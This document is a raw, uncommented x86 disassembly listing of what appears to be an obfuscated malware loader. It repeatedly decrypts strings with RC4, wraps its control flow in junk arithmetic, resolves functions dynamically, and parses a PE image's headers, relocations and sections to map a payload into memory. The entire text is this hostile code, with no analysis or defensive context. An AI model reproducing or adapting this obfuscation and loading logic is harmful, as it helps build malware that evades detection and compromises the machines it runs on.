mov eax, dword [esp + 0x88]
mov ecx, eax
xor ecx, 0x370257ee
or ecx, 0x97cf7bd7
mov edx, 0x10021310
push eax
mov dword [esp + 0x44], ecx
call fcn.10017e3e
pop ecx
call fcn.10017374
mov edi, ebx
mov eax, ebx
mov byte [esp + eax + 0x210], al
inc eax
cmp eax, 0x100
jb 0x100192a0
mov esi, ebx
xor edx, edx
mov bl, byte [esp + esi + 0x210]
push 0x16
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0x1c4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x210]
mov byte [esp + esi + 0x210], al
inc esi
mov byte [esp + edi + 0x210], bl
cmp esi, 0x100
jb 0x100192b1
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x210]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [esp + ebx + 0x210]
mov byte [esp + edi + 0x210], al
mov byte [esp + ebx + 0x210], cl
movzx eax, byte [esp + edi + 0x210]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x210]
xor al, byte [esp + esi + 0x60]
movzx eax, al
mov word [esp + esi*2 + 0x3d8], ax
inc esi
cmp esi, 0x28
jb 0x100192f7
mov ebx, dword [esp + 0x38]
movaps xmm1, xmm2
push 0xe
pop esi
mov dword [esp + 0x14], 0x33
xor eax, eax
mov dword [esp + 0x18], esi
mov ecx, ebx
mov dword [esp + 0x1c], 0x38
mov edx, 0x1672
mov dword [esp + 0x20], 0xffffff3f
movups xmm0, xmmword [esp + 0x14]
mov word [esp + 0x428], ax
push 0
paddd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x48
test ebx, ebx
mov dword [esp + 0x15c], eax
mov eax, str.WINDOWS_1252
pop ebx
je 0x100193d6
add edx, ecx
inc eax
cmp edx, 0x2167
ja 0x100193d1
movzx ecx, byte [eax]
test ecx, ecx
jne 0x100193bd
jmp 0x100193d6
call fcn.1001762d
push 0x56
pop ecx
mov dword [esp + 0x28], 0x50
mov eax, ebx
mov dword [esp + 0x2c], 0x5d
mov dword [esp + 0x30], 0xfffffefd
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x100193f3
push 0x2b
mov dword [esp + 0x158], ecx
mov eax, ebx
pop ecx
mov dword [esp + 0x28], 0x58
mov dword [esp + 0x2c], 0x27
mov dword [esp + 0x30], 0xffffff56
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10019421
push 0x4c
mov dword [esp + 0x154], ecx
mov eax, ebx
pop ecx
mov dword [esp + 0x28], 0x28
mov dword [esp + 0x2c], 0x3e
mov dword [esp + 0x30], 0xffffff4f
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x1001944f
push 0x2e
mov dword [esp + 0x150], ecx
mov eax, ebx
mov dword [esp + 0x90], 0x25
mov dword [esp + 0x94], 0xffffffb1
pop ecx
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 2
jl 0x1001947b
push 0x39
mov dword [esp + 0x14c], ecx
mov eax, ebx
pop ecx
mov dword [esp + 0x8c], 0x4b
mov dword [esp + 0x90], 0xffffff84
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 2
jl 0x100194aa
mov edi, dword [esp + 0x40]
push 0x3f
pop eax
mov dword [esp + 0x144], ecx
mov edx, eax
lea ecx, [edi + 0xfa6aa74]
mov dword [esp + 0x28], 0x14
mov dword [esp + 0x2c], 0x34
mov eax, ebx
mov dword [esp + 0x30], 0xffffff79
add edx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x100194e7
mov dword [esp + 0x140], edx
mov dword [esp + 0x8c], 0x27
mov dword [esp + 0x90], esi
mov dword [esp + 0x94], 0xffffff9a
mov dword [esp + 0x50], ecx
mov esi, edi
mov edx, str.event.GetInt___returned_an_invalid_checkbox_state
or esi, 0xe4e86611
push ecx
mov dword [esp + 0x60], esi
call fcn.10017e3e
pop ecx
push 0x31
mov eax, ebx
pop ecx
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 3
jl 0x10019536
push 0x2f
mov dword [esp + 0x140], ecx
mov eax, ebx
mov dword [esp + 0x90], 0x4b
mov dword [esp + 0x94], 0xffffff87
pop ecx
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 2
jl 0x10019565
mov dword [esp + 0xe4], ecx
mov al, 0x78
mov ecx, str.xn__klty5x
sub al, 0x30
cmp al, 9
ja 0x1001958f
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10019580
jmp 0x10019599
imul esi, esi, 0x4b17bee9
mov dword [esp + 0x5c], esi
sub edi, 0x24bcd427
mov edx, str.file_error
push esi
mov ecx, edi
mov dword [esp + 0x44], edi
call fcn.10017e96
mov esi, str.alpha.bounty_full
mov dword [esp + 0x9c], 0xebc798a9
lea edi, [esp + 0x18]
mov byte [esp + 0xa0], 0xd1
pop ecx
push 0x78
movsd dword es:[edi], dword [esi]
pop eax
mov byte [esp + 0x9d], al
mov byte [esp + 0xa8], al
mov eax, ebx
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x9e], 0xe615cd15
mov dword [esp + 0xa2], 0x9bffc7c3
mov word [esp + 0xa6], 0xb332
movsd dword es:[edi], dword [esi]
mov dword [esp + 0xa9], 0x190d46e1
mov dword [esp + 0xad], 0xf876dd67
mov dword [esp + 0xb1], 0x8eee850
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebx
mov byte [esp + eax + 0x210], al
inc eax
cmp eax, 0x100
jb 0x10019629
mov esi, ebx
xor edx, edx
mov bl, byte [esp + esi + 0x210]
push 0x11
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0x14]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x210]
mov byte [esp + esi + 0x210], al
inc esi
mov byte [esp + edi + 0x210], bl
cmp esi, 0x100
jb 0x1001963a
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x210]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x210]
mov byte [esp + edi + 0x210], al
mov eax, dword [esp + 0x50]
xor eax, 0x98c1b2fc
mov byte [esp + ebx + 0x210], cl
mov dword [esp + 0x50], eax
mov dword [0x100256a8], eax
movzx eax, byte [esp + edi + 0x210]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x210]
xor al, byte [esp + esi + 0x98]
mov byte [esp + esi + 0x60], al
inc esi
cmp esi, 0x1d
jb 0x1001967d
mov edx, dword [esp + 0x38]
mov eax, str.WINDOWS_1252
push 0x14
pop ecx
push 0
pop ebx
jmp 0x10019702
add ecx, edx
inc eax
cmp ecx, 0x16fe
ja 0x1001983d
movzx edx, byte [eax]
test edx, edx
jne 0x100196f0
mov esi, dword [esp + 0x5c]
mov edi, dword [esp + 0x40]
or edi, 0xdc1e90eb
call fcn.1001703c
mov dword [esp + 0x14], 0x64
movaps xmm1, xmm2
mov dword [esp + 0x18], 0x1a
and esi, 0xe92f11c8
mov dword [esp + 0x1c], 0x44
mov edx, 0x116d
mov dword [esp + 0x20], 0xffffff1d
mov ecx, str.file_error
movups xmm0, xmmword [esp + 0x14]
mov dword [esp + 0x14], 0x56
mov dword [esp + 0x18], 0x2d
paddd xmm1, xmm0
mov dword [esp + 0x1c], 0xf
movaps xmm0, xmm1
mov dword [esp + 0x20], 0xffffff72
psrldq xmm0, 8
paddd xmm1, xmm0
mov byte [esp + 0x7d], bl
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movups xmm0, xmmword [esp + 0x14]
push 0x12
movd eax, xmm1
movaps xmm1, xmm2
paddd xmm1, xmm0
mov dword [esp + 0x20], 0x49
movaps xmm0, xmm1
mov dword [esp + 0x24], 0xffffff43
psrldq xmm0, 8
add eax, 0x21
paddd xmm1, xmm0
mov dword [esp + 0x4c], eax
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
movaps xmm1, xmm2
add eax, 4
mov dword [esp + 0x3c], eax
pop eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
movups xmm0, xmmword [esp + 0x14]
push 0xb
mov dword [esp + 0x18], 0x4a
paddd xmm1, xmm0
mov dword [esp + 0x20], 0x1b
movaps xmm0, xmm1
mov dword [esp + 0x24], 0xffffff54
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x50
mov dword [esp + 0x44], eax
pop eax
mov dword [esp + 0x18], eax
movzx eax, byte [str.file_error]
jmp 0x10019863
push ecx
push ecx
call fcn.10017310
mov esi, dword [esp + 0x58]
pop ecx
pop ecx
xor esi, 0x49bc924d
jmp 0x1001970a
add edx, eax
inc ecx
cmp edx, 0x1634
ja 0x10019869
movzx eax, byte [ecx]
test eax, eax
jne 0x10019855
jmp 0x1001986f
lea esi, [edi - 0x584c1665]
lea edi, [esi + 0x1341c581]
movups xmm0, xmmword [esp + 0x14]
mov dword [esp + 0x8c], 0x63
and esi, 0xcc0ca0f1
movaps xmm1, xmm2
mov dword [esp + 0x90], 0xffffff54
paddd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
push 0x4d
pop ecx
add eax, 0x3c
mov dword [esp + 0xc0], eax
mov eax, ebx
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 2
jl 0x100198c8
mov dword [esp + 0x14], 0x20
movaps xmm1, xmm2
mov dword [esp + 0x18], 0x54
mov dword [esp + 0x1c], 0x4c
mov dword [esp + 0x20], 0xffffff2e
movups xmm0, xmmword [esp + 0x14]
mov dword [esp + 0xec], ecx
mov cl, byte [esp + 0x13]
paddd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x12
or esi, 0xc4df439
mov dword [esp + 0xfc], eax
mov eax, str.WINDOWS_1252
jmp 0x1001994a
sub cl, 0x30
cmp cl, 9
ja 0x10019950
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x1001993f
jmp 0x10019958
mov esi, edi
or esi, 0xd110a278
imul esi, esi, 0xb72567ac
call fcn.10017c5b
mov dword [esp + 0x28], 0x5e
mov eax, ebx
mov dword [esp + 0x2c], 0xf
mov ecx, 0x8000
mov dword [esp + 0x30], 0x6f93
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10019982
mov dword [esp + 0xf4], ecx
call fcn.100178e5
or esi, 0x2c1b6e66
mov dword [esp + 0x14], 0x21
cmp byte [str.file_error], 0
mov eax, ebx
mov dword [esp + 0x18], 0x5e
mov dword [esp + 0x1c], 0x60
mov dword [esp + 0x20], 0x1ed5
mov dword [0x100256a8], esi
je 0x100199fb
inc eax
cmp eax, 0x23b5
je 0x100199f1
cmp byte [eax + str.file_error], 0
jne 0x100199cf
cmp eax, 0x2503
jle 0x100199fb
mov edi, esi
and edi, 0xdc3d0552
jmp 0x100199fb
mov edx, str.WINDOWS_1252
call fcn.1001748b
movups xmm0, xmmword [esp + 0x14]
or edi, 0xe8be1e4d
mov edx, 0x2436
movaps xmm1, xmm2
mov ecx, str.file_error
paddd xmm1, xmm0
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x4c
mov dword [esp + 0xf8], eax
movzx eax, byte [str.file_error]
jmp 0x10019a54
add edx, eax
inc ecx
cmp edx, 0x20ec
ja 0x10019a5a
movzx eax, byte [ecx]
test eax, eax
jne 0x10019a46
jmp 0x10019a70
push esi
mov edx, str.xn__klty5x
mov ecx, edi
call fcn.10017e96
mov esi, edi
pop ecx
or esi, 0x6e9fd668
push ecx
imul edi, esi, 0x5f523f64
call fcn.1001779d
pop ecx
push 0x3f
mov dword [esp + 0x90], 0x2c
mov eax, ebx
mov dword [esp + 0x94], 0xffffffd5
pop ecx
add ecx, dword [esp + eax*4 + 0x8c]
inc eax
cmp eax, 2
jl 0x10019a98
push 3
pop edx
mov dword [esp + 0xf0], ecx
mov eax, ebx
mov ecx, ebx
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], 0x3c
mov dword [esp + 0x30], 0xffffffc1
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, edx
jl 0x10019ac7
movzx eax, byte [str.WINDOWS_1252]
or edi, 0xfa641d15
mov dword [esp + 0xc8], ecx
mov edx, 0x207a
mov ecx, str.WINDOWS_1252
jmp 0x10019afe
add edx, eax
inc ecx
cmp edx, 0x170e
ja 0x10019b04
movzx eax, byte [ecx]
test eax, eax
jne 0x10019af0
jmp 0x10019b16
mov ecx, str.WINDOWS_1252
call fcn.10017a1a
mov edi, esi
xor edi, 0x5e8cf9a0
lea esi, [edi - 0x5c531259]
call fcn.100172a2
mov ecx, ebx
mov dword [esp + 0x14], 0x24
mov dword [esp + 0x18], 0x14
mov eax, ebx
mov dword [esp + 0x1c], 0x49
mov dword [esp + 0x20], 0x58
mov dword [esp + 0x24], 0xffffff27
sub ecx, dword [esp + eax*4 + 0x14]
inc eax
cmp eax, 5
jl 0x10019b4d
push 0x28
mov dword [esp + 0x54], ecx
mov eax, ebx
pop ecx
mov dword [esp + 0x28], 0x39
mov dword [esp + 0x2c], 0x34
mov dword [esp + 0x30], 0xffffffb6
sub ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10019b78
imul edi, edi, 0xe5355c16
mov dword [esp + 0xb8], ecx
mov dword [0x100256a8], edi
mov dword [esp + 0x14], 0xd
mov edx, 0x438
mov dword [esp + 0x18], 0x2c
mov eax, str.xn__klty5x
mov dword [esp + 0x1c], 0x19
mov dword [esp + 0x20], 0xffffffae
movups xmm0, xmmword [esp + 0x14]
push 0x78
pop ecx
psubd xmm2, xmm0
movaps xmm0, xmm2
psrldq xmm0, 8
paddd xmm2, xmm0
movups xmm0, xmm2
psrldq xmm0, 4
paddd xmm2, xmm0
movd dword [esp + 0x5c], xmm2
add edx, ecx
inc eax
cmp edx, 0x2b6
ja 0x10019bfd
movsx ecx, byte [eax]
test ecx, ecx
jne 0x10019be9
jmp 0x10019c0c
push ecx
call fcn.1001779d
mov esi, edi
pop ecx
xor esi, 0xabfb120c
and esi, 0x85f5d425
mov dword [0x1002576c], esi
imul eax, edi, 0x8f8a21ca
push 0x49
pop ecx
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], 0x51
mov dword [0x10025654], eax
mov eax, ebx
mov dword [esp + 0x30], 0xffffff1d
add ecx, dword [esp + eax*4 + 0x28]
inc eax
cmp eax, 3
jl 0x10019c3c
push 0x22
pop eax
mov dword [esp + 0x184], ecx
mov ecx, ebx
mov dword [esp + 0x1c], eax
mov eax, ebx
mov dword [esp + 0x14], 0x50
mov dword [esp + 0x18], 0x5d
mov dword [esp + 0x20], 0x34
mov dword [esp + 0x24], 0xfffffefd
sub ecx, dword [esp + eax*4 + 0x14]
inc eax
cmp eax, 5
jl 0x10019c78
mov eax, dword [esp + 0xe0]
push 0x10
push dword [esp + 0x104]
mov dword [esp + 0x90], eax
lea eax, [esp + 0x10c]
push eax
mov dword [esp + 0x98], ecx
call fcn.10016891
push 0x48
pop esi
push esi
push dword [esp + 0x170]
lea eax, [esp + 0x334]
push eax
call fcn.10016891
mov ecx, dword [esp + 0x188]
lea eax, [esp + 0xa0]
add esp, 0x18
lea edx, [esp + 0x3b4]
push eax
push dword [esp + 0x168]
push dword [esp + 0x170]
push dword [esp + 0x178]
call fcn.1001e0ae
call eax
mov ecx, dword [esp + 0x88]
call fcn.100161b5
lea ecx, [esp + 0x88]
mov dword [esp + 0x364], eax
push ecx
push dword [esp + 0x5c]
mov ecx, dword [esp + 0x180]
lea edx, [esp + 0x38c]
push dword [esp + 0x17c]
push eax
call fcn.1001e0ae
call eax
mov edi, str.xn__klty5x
mov ecx, 0x190a
push 0x78
mov eax, edi
pop edx
add ecx, edx
inc eax
cmp ecx, 0x797
ja 0x10019d59
movsx edx, byte [eax]
test edx, edx
jne 0x10019d45
jmp 0x10019d65
mov edx, edi
call fcn.1001748b
call fcn.1001762d
mov eax, dword [0x100256a8]
add eax, 0xbebc1987
mov dword [0x1002576c], eax
mov eax, dword [0x10025654]
xor ecx, ecx
mov edx, dword [esp + 0x17c]
or eax, 0xdbfe70
push dword [esp + 0x180]
mov dword [0x100256a8], eax
add edx, ebx
push dword [esp + 0x18c]
xor eax, eax
bts eax, edx
cmp edx, 0x20
push 8
cmovae ecx, eax
xor eax, ecx
cmp edx, 0x40
mov edx, dword [esp + 0x134]
cmovae ecx, eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
lea eax, [esp + 0x34]
mov ecx, dword [esp + 0x1a8]
push eax
mov eax, dword [esp + 0x19c]
cmp eax, dword [esp + 0x1a0]
mov eax, dword [esp + 0x1a4]
cmovne eax, dword [esp + 0x1a8]
cmp ecx, dword [esp + 0x1b0]
mov ecx, dword [esp + 0x128]
cmovne ecx, dword [esp + 0x12c]
or eax, ecx
mov ecx, dword [esp + 0x130]
cmp ecx, dword [esp + 0x134]
mov ecx, dword [esp + 0x4c]
cmovne edx, dword [esp + 0x13c]
and ecx, 7
or eax, edx
lea edx, [esp + 0x378]
or eax, ecx
mov ecx, dword [esp + 0x140]
push eax
push dword [esp + 0x60]
push dword [esp + 0x37c]
call fcn.1001e0ae
call eax
mov eax, dword [esp + 0x134]
or eax, 0x80000
mov dword [esp + 0x320], esi
cmp byte [str.file_error], 0
mov dword [esp + 0x34c], eax
mov eax, ebx
je 0x10019e85
inc eax
cmp eax, 0x1470
jl 0x10019e7b
cmp byte [eax + str.file_error], 0
jne 0x10019e68
jmp 0x10019e85
mov ecx, str.compute_1.amazonaws
call fcn.10016f49
imul eax, dword [0x100256a8], 0x68443fd1
lea edx, [esp + 0x310]
mov ecx, dword [esp + 0x15c]
and dword [0x10025654], 0x6bce5050
mov dword [0x1002576c], eax
mov eax, dword [esp + 0x138]
mov word [esp + 0x350], ax
lea eax, [esp + 0x104]
push eax
lea eax, [esp + 0x324]
push eax
push dword [esp + 0x144]
mov eax, dword [esp + 0x150]
push dword [esp + 0x14c]
or eax, dword [esp + 0x158]
or eax, 0x8080000
push eax
push dword [esp + 0x160]
lea eax, [esp + 0x3f0]
push dword [esp + 0x168]
push dword [esp + 0x170]
push dword [esp + 0x178]
push eax
call fcn.1001e0ae
call eax
test eax, eax
jne 0x10019f64
mov eax, dword [0x1002576c]
xor eax, 0x3b162452
mov dword [esp + 0x8c], 0x28
push 0x5a
mov dword [0x100256a8], eax
pop esi
mov dword [esp + 0x90], 0xffffff7e
add esi, dword [esp + ebx*4 + 0x8c]
inc ebx
cmp ebx, 2
jl 0x10019f44
mov ecx, dword [esp + 0x364]
call fcn.10016528
mov eax, esi
jmp 0x1001a954
push dword [esp + 0x364]
mov ecx, dword [esp + 0xe8]
lea edx, [esp + 0x64]
call fcn.1001e0ae
call eax
mov ecx, dword [esp + 0x364]
call fcn.10016528
cmp byte [str.file_error], 0
mov eax, ebx
je 0x10019fb7
inc eax
cmp eax, 0x909
jl 0x1001a079
cmp byte [eax + str.file_error], 0
jne 0x10019f94
cmp eax, 0x2678
jle 0x10019fb7
mov edx, edi
call fcn.1001748b
mov eax, dword [0x100256a8]
xor eax, 0x44ba1338
mov dword [0x100256a8], eax
add eax, 0x14476a89
mov dword [0x10025654], eax
call fcn.10017374
push dword [esp + 0x48]
lea eax, [esp + 0x9c]
push 0x18
push eax
push ebx
push dword [esp + 0x114]
call fcn.1001e931
mov eax, dword [esp + 0xb0]
add esp, 0x14
add eax, dword [esp + 0x38]
cmp byte [str.file_error], 0
mov ecx, dword [0x10025654]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x44], eax
mov eax, dword [esp + 0xc0]
mov dword [esp + 0xe0], eax
mov eax, ebx
je 0x1001a03d
inc eax
cmp eax, 0xc1b
je 0x1001a096
cmp byte [eax + str.file_error], 0
jne 0x1001a02c
mov esi, dword [0x1002576c]
or ecx, 0xb2fc8c1
imul eax, ecx, 0xd3edb156
mov ecx, str.file_error
mov dword [0x10025654], eax
call fcn.100173f3
mov eax, ebx
mov edi, dword [0x100256a8]
inc eax
cmp eax, 0x1338
je 0x1001a09e
cmp byte [eax + str.xn__klty5x], 0
jne 0x1001a060
jmp 0x1001a0ab
mov esi, dword [0x1002576c]
mov edx, str.wordpress.org
push esi
call fcn.10017e3e
pop ecx
imul eax, esi, 0xd2f7f3c9
jmp 0x10019fbc
lea esi, [ecx - 0x778e2ee2]
jmp 0x1001a043
call fcn.100178e5
mov esi, edi
and esi, 0xc07cc51d
xor edi, 0x3056d56
mov dword [0x100256a8], edi
lea eax, [esp + 0xe0]
add esi, 0x51358cb
push eax
mov eax, dword [esp + 0xf0]
push eax
lea eax, [esp + 0x4c]
mov dword [0x1002576c], esi
push eax
push dword [esp + 0xf0]
push dword [esp + 0x114]
call fcn.1001e913
mov esi, dword [esp + 0xf0]
push dword [esp + 0x58]
push dword [esp + 0x11c]
mov edi, dword [esi + 0x3c]
add edi, esi
mov dword [esp + 0x64], edi
mov eax, dword [edi + 0x50]
mov dword [esp + 0x11c], eax
call fcn.1001e93b
mov eax, dword [esp + 0x10c]
push eax
mov eax, dword [esp + 0x114]
or eax, dword [esp + 0x118]
push eax
lea eax, [esp + 0x124]
push eax
push dword [esp + 0x124]
lea eax, [esp + 0x70]
push eax
push dword [esp + 0x134]
call fcn.1001e927
push dword [esp + 0xfc]
mov eax, dword [esp + 0x7c]
mov ecx, eax
push dword [edi + 0x54]
sub ecx, dword [edi + 0x34]
mov dword [edi + 0x34], eax
push esi
push dword [esp + 0x84]
mov dword [esp + 0x13c], ecx
push dword [esp + 0x148]
call fcn.1001e91d
movzx eax, word [edi + 6]
lea ecx, [esi + 0xf8]
add ecx, dword [esi + 0x3c]
add esp, 0x48
mov dword [esp + 0x38], ecx
cmp dword [esp + 0x50], eax
jge 0x1001a2ac
lea eax, [ecx + 0x14]
mov dword [esp + 0x14], 0x3a
mov dword [esp + 0x18], 0x3e
mov dword [esp + 0x1c], 0x1f
mov dword [esp + 0x20], 0xffffff1b
mov dword [esp + 0x58], eax
mov ecx, dword [0x1002576c]
mov edx, ebx
mov esi, dword [0x100256a8]
sub ecx, 0x59f877f4
push 0x4e
pop edi
mov dword [0x1002576c], ecx
mov dword [esp + 0x3c], edx
lea eax, [esi + 0x592d4529]
mov dword [0x10025654], eax
mov eax, ebx
inc eax
mov dword [esp + 0xc8], eax
cmp eax, 0x2597
jl 0x1001a20a
cmp byte [eax + str.xn__klty5x], 0
jne 0x1001a1f0
jmp 0x1001a237
mov ecx, str.Esperanto
call fcn.10016f49
mov ecx, dword [0x1002576c]
or esi, 0x40394f3a
cmp dword [esp + 0xc8], 0xad3
mov edx, dword [esp + 0x3c]
mov dword [0x10025654], esi
jle 0x1001a243
xor ecx, 0x20157ab5
mov dword [0x1002576c], ecx
add edi, dword [esp + edx*4 + 0x14]
lea esi, [ecx - 0x5a0b800e]
xor esi, 0xee64fb49
inc edx
mov dword [esp + 0x3c], edx
cmp edx, 4
jl 0x1001a1e3
mov dword [0x100256a8], esi
mov esi, dword [esp + 0x58]
push edi
push dword [esi - 4]
mov eax, dword [esi]
add eax, dword [esp + 0xe4]
push eax
mov eax, dword [esi - 8]
add eax, dword [esp + 0x50]
push eax
push dword [esp + 0x114]
call fcn.1001e91d
mov edi, dword [esp + 0x5c]
add esi, 0x28
mov ecx, dword [esp + 0x64]
add esp, 0x14
inc ecx
mov dword [esp + 0x58], esi
mov dword [esp + 0x50], ecx
movzx eax, word [edi + 6]
cmp ecx, eax
jl 0x1001a1c2
mov esi, dword [0x100256a8]
mov eax, ebx
xor esi, 0x7190e095
cmp byte [str.file_error], 0
mov dword [esp + 0x40], esi
mov dword [0x10025654], esi
je 0x1001a2ed
inc eax
cmp eax, 0x1ed8
je 0x1001a45d
cmp byte [eax + str.file_error], 0
jne 0x1001a2cd
cmp eax, 0x1879
jg 0x1001a462
mov ecx, dword [0x1002576c]
sub esi, 0x471e4e5
mov dword [esp + 0x40], esi
mov dword [0x10025654], esi
mov edx, dword [esp + 0xb8]
imul eax, esi, 0x20f8bf2c
imul ecx, ecx, 0xa01f017d
mov dword [0x100256a8], eax
mov eax, dword [edi + edx*8 + 0x78]
mov edx, dword [edi + edx*8 + 0x7c]
mov dword [esp + 0xb8], eax
movzx eax, word [edi + 6]
mov dword [0x1002576c], ecx
mov dword [esp + 0x58], edx
cmp dword [esp + 0x5c], eax
jge 0x1001a847
mov dword [esp + 0xc0], 0xf9974472
mov word [esp + 0xc4], 0xd959
mov esi, str.VersionYear
lea edi, [esp + 0xcc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, ebx
mov eax, ecx
and eax, 0xc786b1c6
add eax, 0x248bc148
mov dword [0x100256a8], eax
mov eax, ebx
mov byte [esp + eax + 0x210], al
inc eax
cmp eax, 0x100
jb 0x1001a37b
mov esi, ebx
xor edx, edx
mov bl, byte [esp + esi + 0x210]
push 0xb
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [esp + edx + 0xcc]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x210]
mov byte [esp + esi + 0x210], al
inc esi
mov byte [esp + edi + 0x210], bl
cmp esi, 0x100
jb 0x1001a38c
xor ebx, ebx
mov edi, ebx
mov esi, ebx
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x210]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [esp + ebx + 0x210]
mov byte [esp + edi + 0x210], al
mov byte [esp + ebx + 0x210], cl
movzx eax, byte [esp + edi + 0x210]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x210]
xor al, byte [esp + esi + 0xc0]
mov byte [esp + esi + 0xe4], al
inc esi
cmp esi, 6
jb 0x1001a3d2
xor ebx, ebx
mov byte [esp + 0xea], bl
mov eax, ebx
inc eax
cmp eax, 0x8ee
jl 0x1001a46d
cmp byte [eax + str.xn__klty5x], bl
jne 0x1001a430
cmp eax, 0x1dd6
jle 0x1001a46d
call fcn.10017823
mov esi, dword [esp + 0x40]
lea eax, [esi - 0xe033852]
mov dword [0x1002576c], eax
jmp 0x1001a47d
call fcn.10017b09
imul ecx, esi, 0xf1672f61
jmp 0x1001a303
mov esi, dword [esp + 0x40]
mov eax, esi
xor eax, 0xf560ebfb
mov dword [0x100256a8], eax
sub esi, 0x7627d275
mov dword [esp + 0x1e8], 0x3b
push 0x32
mov dword [esp + 0x44], esi
mov eax, ebx
mov dword [0x10025654], esi
pop edx
mov dword [esp + 0x1ec], 0x18
mov dword [esp + 0x1f0], 2
mov dword [esp + 0x1f4], 0x60
mov dword [esp + 0x1f8], 0xffffff78
sub edx, dword [esp + eax*4 + 0x1e8]
inc eax
cmp eax, 5
jl 0x1001a4c9
push 0x11
pop eax
mov dword [esp + 0x204], eax
mov ecx, ebx
mov dword [esp + 0x1fc], 0x56
mov eax, ebx
mov dword [esp + 0x200], 0x59
mov dword [esp + 0x208], 0x13
mov dword [esp + 0x20c], 0xffffff2d
sub ecx, dword [esp + eax*4 + 0x1fc]
inc eax
cmp eax, 5
jl 0x1001a510
mov dword [esp + 0xb8], ecx
mov edi, ebx
mov dword [esp + 0x1c4], 8
mov eax, ebx
mov dword [esp + 0x1c8], 3
mov dword [esp + 0x1cc], 0x2d
mov dword [esp + 0x1d0], 0x38
mov dword [esp + 0x1d4], 0xffffff90
sub edi, dword [esp + eax*4 + 0x1c4]
inc eax
cmp eax, 5
jl 0x1001a55f
mov ecx, dword [esp + 0x38]
push edx
lea edx, [esp + 0xe8]
call fcn.10016db4
pop ecx
cmp eax, dword [esp + 0xb8]
je 0x1001a591
add dword [esp + 0x38], 0x28
jmp 0x1001a828
mov eax, dword [esp + 0x38]
mov eax, dword [eax + 0x14]
mov dword [esp + 0x50], eax
cmp edi, dword [esp + 0x58]
jae 0x1001a828
mov dword [esp + 0x14], 0x28
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], 0x52
mov dword [esp + 0x20], 0xffffff85
movups xmm0, xmmword [esp + 0x14]
xorps xmm1, xmm1
lea edx, [edi + eax]
add edx, dword [esp + 0xdc]
psubd xmm1, xmm0
movaps xmm0, xmm1
mov dword [esp + 0x3c], edx
psrldq xmm0, 8
add edi, 8
paddd xmm1, xmm0
mov eax, dword [edx + 4]
movups xmm0, xmm1
mov edx, dword [esp + 0x50]
sub eax, 8
psrldq xmm0, 4
add edx, edi
add edx, dword [esp + 0xdc]
paddd xmm1, xmm0
movd ecx, xmm1
shr eax, 1
mov dword [esp + 0xc8], edx
mov edx, dword [esp + 0x3c]
mov dword [esp + 0xb8], ecx
mov dword [esp + 0xf0], eax
cmp ecx, eax
jae 0x1001a815
sub eax, ecx
mov dword [esp + 0x1a4], 0x55
